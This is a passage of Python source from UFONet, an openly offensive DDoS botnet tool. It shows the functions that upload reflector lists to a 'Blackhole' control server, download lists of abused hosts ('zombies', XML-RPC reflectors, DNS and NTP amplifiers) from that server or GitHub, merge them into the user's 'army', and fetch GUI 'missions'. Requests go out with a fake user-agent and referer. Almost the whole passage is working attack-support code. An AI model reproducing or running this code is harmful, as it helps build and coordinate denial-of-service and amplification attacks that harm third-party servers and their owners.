  1919. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1920. ms.connect(host, mport)
  1921. ms.send(data)
  1922. ms.close()
  1923. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  1924. time.sleep(1)
  1925. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1926. cs.connect(host, cport)
  1927. cs.send("SEND " + 'community_dnss.txt.gz')
  1928. cs.close()
  1929. f = open('botnet/community_dnss.txt.gz', "rb")
  1930. data = f.read()
  1931. f.close()
  1932. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1933. ms.connect(host, mport)
  1934. ms.send(data)
  1935. ms.close()
  1936. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  1937. time.sleep(2) # sleep a bit more
  1938. print('-'*12 + '\n')
  1939. print("[Info] [AI] Transfer -> [DONE!]\n")
  1940. except Exception as e:
  1941. print(str(e) + "\n")
  1942. except:
  1943. print('-'*12 + '\n')
  1944. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1945. return
  1946. except:
  1947. print('-'*12 + '\n')
  1948. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1949. return
  1950. def update_gui_data(self):
  1951. # download all GUI stream data
  1952. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1953. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1954. if self.options.proxy: # set proxy
  1955. self.proxy_transport(self.options.proxy)
  1956. if self.options.timeout: # set timeout
  1957. try:
  1958. timeout = int(self.options.timeout)
  1959. except:
  1960. timeout = 5
  1961. else:
  1962. timeout = 5
  1963. if timeout < 1:
  1964. timeout = 5
  1965. if self.options.forcessl:
  1966. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1967. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1968. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1969. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1970. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1971. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1972. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1973. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1974. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1975. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1976. else:
  1977. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1978. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  1979. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1980. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  1981. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1982. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  1983. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1984. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  1985. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1986. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  1987. f = open(self.news_file, 'w')
  1988. f.write(news_reply)
  1989. f.close()
  1990. f = open(self.missions_file, 'w')
  1991. f.write(missions_reply)
  1992. f.close()
  1993. f = open(self.board_file, 'w')
  1994. f.write(board_reply)
  1995. f.close()
  1996. f = open(self.grid_file, 'w')
  1997. f.write(grid_reply)
  1998. f.close()
  1999. f = open(self.wargames_file, 'w')
  2000. f.write(wargames_reply)
  2001. f.close()
  2002. print('-'*25 + "\n")
  2003. print("[Info] [AI] GUI data correctly updated:\n")
  2004. if news_reply:
  2005. print("[Info] [AI] [News] : OK!")
  2006. if missions_reply:
  2007. print("[Info] [AI] [Missions]: OK!")
  2008. if board_reply:
  2009. print("[Info] [AI] [Board] : OK!")
  2010. if grid_reply:
  2011. print("[Info] [AI] [Grid] : OK!")
  2012. if wargames_reply:
  2013. print("[Info] [AI] [Wargames]: OK!")
  2014. print('-'*25)
  2015. print("\n[AI] "+self.exit_msg+"\n")
  2016. def downloading_list(self):
  2017. # add your mirror to protect/share/distribute... [Zombies]
  2018. try:
  2019. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2020. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2021. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2022. if self.options.timeout: # set timeout
  2023. try:
  2024. timeout = int(self.options.timeout)
  2025. except:
  2026. timeout = 5
  2027. else:
  2028. timeout = 5
  2029. if timeout < 1:
  2030. timeout = 5
  2031. if self.options.proxy: # set proxy
  2032. self.proxy_transport(self.options.proxy)
  2033. if self.options.forcessl:
  2034. try:
  2035. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2036. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2037. except:
  2038. abductions_reply = ""
  2039. try:
  2040. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2041. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2042. except:
  2043. troops_reply = ""
  2044. try:
  2045. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2046. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2047. except:
  2048. robots_reply = ""
  2049. try:
  2050. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2051. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2052. except:
  2053. drones_reply = ""
  2054. try:
  2055. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2056. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2057. except:
  2058. reflectors_reply = ""
  2059. try:
  2060. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2061. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2062. except:
  2063. crystals_reply = ""
  2064. try:
  2065. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2066. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2067. except:
  2068. warps_reply = ""
  2069. else:
  2070. try:
  2071. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2072. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2073. except:
  2074. abductions_reply = ""
  2075. try:
  2076. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2077. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2078. except:
  2079. troops_reply = ""
  2080. try:
  2081. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2082. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2083. except:
  2084. robots_reply = ""
  2085. try:
  2086. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2087. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2088. except:
  2089. drones_reply = ""
  2090. try:
  2091. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2092. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2093. except:
  2094. reflectors_reply = ""
  2095. try:
  2096. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2097. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2098. except:
  2099. crystals_reply = ""
  2100. try:
  2101. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2102. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2103. except:
  2104. warps_reply = ""
  2105. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  2106. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2107. print('-'*12 + '\n')
  2108. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2109. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2110. print('-'*12 + '\n')
  2111. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2112. return
  2113. f = open('botnet/abductions.txt.gz', 'wb')
  2114. f.write(abductions_reply)
  2115. f.close()
  2116. f = open('botnet/troops.txt.gz', 'wb')
  2117. f.write(troops_reply)
  2118. f.close()
  2119. f = open('botnet/robots.txt.gz', 'wb')
  2120. f.write(robots_reply)
  2121. f.close()
  2122. f = open('botnet/drones.txt.gz', 'wb')
  2123. f.write(drones_reply)
  2124. f.close()
  2125. f = open('botnet/reflectors.txt.gz', 'wb')
  2126. f.write(reflectors_reply)
  2127. f.close()
  2128. f = open('botnet/crystals.txt.gz', 'wb')
  2129. f.write(crystals_reply)
  2130. f.close()
  2131. f = open('botnet/warps.txt.gz', 'wb')
  2132. f.write(warps_reply)
  2133. f.close()
  2134. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2135. except:
  2136. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2137. print('-'*12 + '\n')
  2138. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2139. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2140. print('-'*12 + '\n')
  2141. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2142. return
  2143. print('-'*12 + '\n')
  2144. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2145. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2146. f_out_abductions.write(f_in_abductions.read())
  2147. f_in_abductions.close()
  2148. f_out_abductions.close()
  2149. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2150. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2151. f_out_troops = open('botnet/troops.txt', 'wb')
  2152. f_out_troops.write(f_in_troops.read())
  2153. f_in_troops.close()
  2154. f_out_troops.close()
  2155. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2156. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2157. f_out_robots = open('botnet/robots.txt', 'wb')
  2158. f_out_robots.write(f_in_robots.read())
  2159. f_in_robots.close()
  2160. f_out_robots.close()
  2161. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2162. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2163. f_out_drones = open('botnet/drones.txt', 'wb')
  2164. f_out_drones.write(f_in_drones.read())
  2165. f_in_drones.close()
  2166. f_out_drones.close()
  2167. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2168. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2169. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2170. f_out_reflectors.write(f_in_reflectors.read())
  2171. f_in_reflectors.close()
  2172. f_out_reflectors.close()
  2173. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2174. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2175. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2176. f_out_crystals.write(f_in_crystals.read())
  2177. f_in_crystals.close()
  2178. f_out_crystals.close()
  2179. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2180. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2181. f_out_warps = open('botnet/warps.txt', 'wb')
  2182. f_out_warps.write(f_in_warps.read())
  2183. f_in_warps.close()
  2184. f_out_warps.close()
  2185. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2186. num_abductions = 0
  2187. with open('botnet/abductions.txt') as f:
  2188. for _ in f:
  2189. num_abductions = num_abductions + 1
  2190. print("[Info] Zombies: " + str(num_abductions))
  2191. num_robots = 0
  2192. with open('botnet/robots.txt') as f:
  2193. for _ in f:
  2194. num_robots = num_robots + 1
  2195. print("[Info] Droids : " + str(num_robots))
  2196. num_troops = 0
  2197. with open('botnet/troops.txt') as f:
  2198. for _ in f:
  2199. num_troops = num_troops + 1
  2200. print("[Info] Aliens : " + str(num_troops))
  2201. num_drones = 0
  2202. with open('botnet/drones.txt') as f:
  2203. for _ in f:
  2204. num_drones = num_drones + 1
  2205. print("[Info] UCAVs : " + str(num_drones))
  2206. num_reflectors = 0
  2207. with open('botnet/reflectors.txt') as f:
  2208. for _ in f:
  2209. num_reflectors = num_reflectors + 1
  2210. print("[Info] X-RPCs : " + str(num_reflectors))
  2211. num_crystals = 0
  2212. with open('botnet/crystals.txt') as f:
  2213. for _ in f:
  2214. num_crystals = num_crystals + 1
  2215. print("[Info] DNSs : " + str(num_crystals))
  2216. num_warps = 0
  2217. with open('botnet/warps.txt') as f:
  2218. for _ in f:
  2219. num_warps = num_warps + 1
  2220. print("[Info] NTPs : " + str(num_warps))
  2221. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2222. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2223. print('-'*12)
  2224. if not self.options.forceyes:
  2225. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2226. print('-'*25)
  2227. else:
  2228. update_reply = "Y"
  2229. if update_reply == "n" or update_reply == "N":
  2230. os.remove('botnet/abductions.txt') # remove abductions file
  2231. os.remove('botnet/troops.txt') # remove troops file
  2232. os.remove('botnet/robots.txt') # remove robots file
  2233. os.remove('botnet/drones.txt') # remove drones file
  2234. os.remove('botnet/reflectors.txt') # remove reflectors file
  2235. os.remove('botnet/crystals.txt') # remove crystals file
  2236. os.remove('botnet/warps.txt') # remove warps file
  2237. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2238. print('-'*25)
  2239. print("\n[AI] "+self.exit_msg+"\n")
  2240. else:
  2241. zombies_ready = []
  2242. f = open('botnet/abductions.txt')
  2243. abductions = f.readlines()
  2244. f.close()
  2245. fz = open(self.zombies_file)
  2246. zombies = fz.readlines()
  2247. fz.close()
  2248. for abduction in abductions:
  2249. abduction = abduction.replace('\n','')
  2250. if abduction not in zombies:
  2251. zombies_ready.append(abduction)
  2252. else:
  2253. pass
  2254. self.update_zombies(zombies_ready)
  2255. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2256. aliens_ready = []
  2257. f = open('botnet/troops.txt')
  2258. troops = f.readlines()
  2259. f.close()
  2260. fz = open(self.aliens_file)
  2261. aliens = fz.readlines()
  2262. fz.close()
  2263. for alien in troops:
  2264. alien = alien.replace('\n','')
  2265. if alien not in aliens:
  2266. aliens_ready.append(alien)
  2267. else:
  2268. pass
  2269. self.update_aliens(aliens_ready)
  2270. os.remove('botnet/troops.txt') # remove troops .txt file
  2271. droids_ready = []
  2272. f = open('botnet/robots.txt')
  2273. robots = f.readlines()
  2274. f.close()
  2275. fz = open(self.droids_file)
  2276. droids = fz.readlines()
  2277. fz.close()
  2278. for droid in robots:
  2279. droid = droid.replace('\n','')
  2280. if droid not in droids:
  2281. droids_ready.append(droid)
  2282. else:
  2283. pass
  2284. self.update_droids(droids_ready)
  2285. os.remove('botnet/robots.txt') # remove robots .txt file
  2286. ucavs_ready = []
  2287. f = open('botnet/drones.txt')
  2288. drones = f.readlines()
  2289. f.close()
  2290. fz = open(self.ucavs_file)
  2291. ucavs = fz.readlines()
  2292. fz.close()
  2293. for drone in drones:
  2294. drone = drone.replace('\n','')
  2295. if drone not in ucavs:
  2296. ucavs_ready.append(drone)
  2297. else:
  2298. pass
  2299. self.update_ucavs(ucavs_ready)
  2300. os.remove('botnet/drones.txt') # remove drones .txt file
  2301. rpcs_ready = []
  2302. f = open('botnet/reflectors.txt')
  2303. reflectors = f.readlines()
  2304. f.close()
  2305. fz = open(self.rpcs_file)
  2306. rpcs = fz.readlines()
  2307. fz.close()
  2308. for reflector in reflectors:
  2309. reflector = reflector.replace('\n','')
  2310. if reflector not in rpcs:
  2311. rpcs_ready.append(reflector)
  2312. else:
  2313. pass
  2314. self.update_rpcs(rpcs_ready)
  2315. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2316. dnss_ready = []
  2317. f = open('botnet/crystals.txt')
  2318. crystals = f.readlines()
  2319. f.close()
  2320. fz = open(self.dnss_file)
  2321. dnss = fz.readlines()
  2322. fz.close()
  2323. for crystal in crystals:
  2324. crystal = crystal.replace('\n','')
  2325. if crystal not in dnss:
  2326. dnss_ready.append(crystal)
  2327. else:
  2328. pass
  2329. self.update_dnss(dnss_ready)
  2330. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2331. ntps_ready = []
  2332. f = open('botnet/warps.txt')
  2333. warps = f.readlines()
  2334. f.close()
  2335. fz = open(self.ntps_file)
  2336. ntps = fz.readlines()
  2337. fz.close()
  2338. for warp in warps:
  2339. warp = warp.replace('\n','')
  2340. if warp not in ntps:
  2341. ntps_ready.append(warp)
  2342. else:
  2343. pass
  2344. self.update_ntps(ntps_ready)
  2345. os.remove('botnet/warps.txt') # remove warps .txt file
  2346. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2347. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2348. if not self.options.forceyes: # ask for update everything
  2349. print('-'*25 + "\n")
  2350. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2351. else:
  2352. update_reply = "Y"
  2353. if update_reply == "n" or update_reply == "N":
  2354. print("\n[AI] "+self.exit_msg+"\n")
  2355. return
  2356. else:
  2357. try:
  2358. update_gui = self.update_gui_data() # update GUI data
  2359. except:
  2360. print('-'*25 +"\n")
  2361. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2362. print('-'*25)
  2363. print("\n[AI] "+self.exit_msg+"\n")
  2364. return
  2365. def downloading_github_list(self):
  2366. # add your mirror to protect/share/distribute... [Zombies]
  2367. try:
  2368. print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))
  2369. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2370. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2371. if self.options.timeout: # set timeout
  2372. try:
  2373. timeout = int(self.options.timeout)
  2374. except:
  2375. timeout = 5
  2376. else:
  2377. timeout = 5
  2378. if timeout < 1:
  2379. timeout = 5
  2380. if self.options.proxy: # set proxy
  2381. self.proxy_transport(self.options.proxy)
  2382. try:
  2383. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  2384. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2385. except:
  2386. zombies_reply = ""
  2387. try:
  2388. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  2389. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2390. except:
  2391. aliens_reply = ""
  2392. try:
  2393. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  2394. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2395. except:
  2396. dns_reply = ""
  2397. try:
  2398. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  2399. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2400. except:
  2401. droids_reply = ""
  2402. try:
  2403. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  2404. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2405. except:
  2406. rpcs_reply = ""
  2407. try:
  2408. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  2409. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2410. except:
  2411. ucavs_reply = ""
  2412. try:
  2413. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  2414. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2415. except:
  2416. ntp_reply = ""
  2417. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "":
  2418. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2419. print('-'*12 + '\n')
  2420. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2421. return
  2422. f = open('botnet/abductions.txt', 'w') # zombies
  2423. f.write(zombies_reply)
  2424. f.close()
  2425. f = open('botnet/troops.txt', 'w') # aliens
  2426. f.write(aliens_reply)
  2427. f.close()
  2428. f = open('botnet/crystals.txt', 'w') # dns
  2429. f.write(dns_reply)
  2430. f.close()
  2431. f = open('botnet/robots.txt', 'w') # droids
  2432. f.write(droids_reply)
  2433. f.close()
  2434. f = open('botnet/drones.txt', 'w') # ucavs
  2435. f.write(ucavs_reply)
  2436. f.close()
  2437. f = open('botnet/reflectors.txt', 'w') # rpcs
  2438. f.write(rpcs_reply)
  2439. f.close()
  2440. f = open('botnet/warps.txt', 'w') # ntp
  2441. f.write(ntp_reply)
  2442. f.close()
  2443. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  2444. except:
  2445. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2446. print('-'*12 + '\n')
  2447. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2448. return
  2449. print('-'*12 + '\n')
  2450. num_abductions = 0
  2451. with open('botnet/abductions.txt') as f: # zombies
  2452. for _ in f:
  2453. num_abductions = num_abductions + 1
  2454. print("[Info] Zombies: " + str(num_abductions))
  2455. num_troops = 0
  2456. with open('botnet/troops.txt') as f: # aliens
  2457. for _ in f:
  2458. num_troops = num_troops + 1
  2459. print("[Info] Aliens : " + str(num_troops))
  2460. num_robots = 0
  2461. with open('botnet/robots.txt') as f: # droids
  2462. for _ in f:
  2463. num_robots = num_robots + 1
  2464. print("[Info] Droids : " + str(num_robots))
  2465. num_drones = 0
  2466. with open('botnet/drones.txt') as f: # ucavs
  2467. for _ in f:
  2468. num_drones = num_drones + 1
  2469. print("[Info] UCAVs : " + str(num_drones))
  2470. num_reflectors = 0
  2471. with open('botnet/reflectors.txt') as f: # rpcs
  2472. for _ in f:
  2473. num_reflectors = num_reflectors + 1
  2474. print("[Info] X-RPCs : " + str(num_reflectors))
  2475. num_crystals = 0
  2476. with open('botnet/crystals.txt') as f: # dns
  2477. for _ in f:
  2478. num_crystals = num_crystals + 1
  2479. print("[Info] DNSs : " + str(num_crystals))
  2480. num_warps = 0
  2481. with open('botnet/warps.txt') as f: # ntp
  2482. for _ in f:
  2483. num_warps = num_warps + 1
  2484. print("[Info] NTPs : " + str(num_warps))
  2485. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2486. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2487. print('-'*12)
  2488. if not self.options.forceyes:
  2489. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2490. print('-'*25)
  2491. else:
  2492. update_reply = "Y"
  2493. if update_reply == "n" or update_reply == "N":
  2494. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2495. os.remove('botnet/troops.txt') # remove aliens/troops file
  2496. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2497. os.remove('botnet/robots.txt') # remove droids/robots file
  2498. os.remove('botnet/drones.txt') # remove ucavs/drones file
  2499. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  2500. os.remove('botnet/warps.txt') # remove ntp/warps file
  2501. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2502. print('-'*25)
  2503. print("\n[AI] "+self.exit_msg+"\n")
  2504. else:
  2505. zombies_ready = []
  2506. f = open('botnet/abductions.txt')
  2507. abductions = f.readlines()
  2508. f.close()
  2509. fz = open(self.zombies_file)
  2510. zombies = fz.readlines()
  2511. fz.close()
  2512. for abduction in abductions:
  2513. abduction = abduction.replace('\n','')
  2514. if abduction not in zombies:
  2515. zombies_ready.append(abduction)
  2516. else:
  2517. pass
  2518. self.update_zombies(zombies_ready)
  2519. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2520. aliens_ready = []
  2521. f = open('botnet/troops.txt')
  2522. troops = f.readlines()
  2523. f.close()
  2524. fz = open(self.aliens_file)
  2525. aliens = fz.readlines()
  2526. fz.close()
  2527. for alien in troops:
  2528. alien = alien.replace('\n','')
  2529. if alien not in aliens:
  2530. aliens_ready.append(alien)
  2531. else:
  2532. pass
  2533. self.update_aliens(aliens_ready)
  2534. os.remove('botnet/troops.txt') # remove aliens/troops file
  2535. dnss_ready = []
  2536. f = open('botnet/crystals.txt')
  2537. crystals = f.readlines()
  2538. f.close()
  2539. fz = open(self.dnss_file)
  2540. dnss = fz.readlines()
  2541. fz.close()
  2542. for crystal in crystals:
  2543. crystal = crystal.replace('\n','')
  2544. if crystal not in dnss:
  2545. dnss_ready.append(crystal)
  2546. else:
  2547. pass
  2548. self.update_dnss(dnss_ready)
  2549. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2550. droids_ready = []
  2551. f = open('botnet/robots.txt')
  2552. robots = f.readlines()
  2553. f.close()
  2554. fz = open(self.droids_file)
  2555. droids = fz.readlines()
  2556. fz.close()
  2557. for droid in robots:
  2558. droid = droid.replace('\n','')
  2559. if droid not in droids:
  2560. droids_ready.append(droid)
  2561. else:
  2562. pass
  2563. self.update_droids(droids_ready)
  2564. os.remove('botnet/robots.txt') # remove droids/robots file
  2565. ucavs_ready = []
  2566. f = open('botnet/drones.txt')
  2567. drones = f.readlines()
  2568. f.close()
  2569. fz = open(self.ucavs_file)
  2570. ucavs = fz.readlines()
  2571. fz.close()
  2572. for drone in drones:
  2573. drone = drone.replace('\n','')
  2574. if drone not in ucavs:
  2575. ucavs_ready.append(drone)
  2576. else:
  2577. pass
  2578. self.update_ucavs(ucavs_ready)
  2579. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  2580. rpcs_ready = []
  2581. f = open('botnet/reflectors.txt')
  2582. reflectors = f.readlines()
  2583. f.close()
  2584. fz = open(self.rpcs_file)
  2585. rpcs = fz.readlines()
  2586. fz.close()
  2587. for reflector in reflectors:
  2588. reflector = reflector.replace('\n','')
  2589. if reflector not in rpcs:
  2590. rpcs_ready.append(reflector)
  2591. else:
  2592. pass
  2593. self.update_rpcs(rpcs_ready)
  2594. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  2595. ntps_ready = []
  2596. f = open('botnet/warps.txt')
  2597. warps = f.readlines()
  2598. f.close()
  2599. fz = open(self.ntps_file)
  2600. ntps = fz.readlines()
  2601. fz.close()
  2602. for warp in warps:
  2603. warp = warp.replace('\n','')
  2604. if warp not in ntps:
  2605. ntps_ready.append(warp)
  2606. else:
  2607. pass
  2608. self.update_ntps(ntps_ready)
  2609. os.remove('botnet/warps.txt') # remove NTP/warps file
  2610. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2611. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2612. if not self.options.forceyes: # ask for update everything
  2613. print('-'*25 + "\n")
  2614. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2615. else:
  2616. update_reply = "Y"
  2617. if update_reply == "n" or update_reply == "N":
  2618. print("\n[AI] "+self.exit_msg+"\n")
  2619. return
  2620. else:
  2621. try:
  2622. update_gui = self.update_gui_data() # update GUI data
  2623. except:
  2624. print('-'*25 +"\n")
  2625. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2626. print('-'*25)
  2627. print("\n[AI] "+self.exit_msg+"\n")
  2628. return
  2629. def uploading_github_list(self):
  2630. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  2631. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  2632. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  2633. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  2634. print('='*22 + '\n')
  2635. print("[AI] "+self.exit_msg+"\n")
  2636. def create_web_interface(self):
  2637. # launch webserver+gui
  2638. from .webgui import ClientThread
  2639. import webbrowser
  2640. host = '0.0.0.0'
  2641. port = 9999
  2642. try:
  2643. webbrowser.open('http://127.0.0.1:9999', new=1)
  2644. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
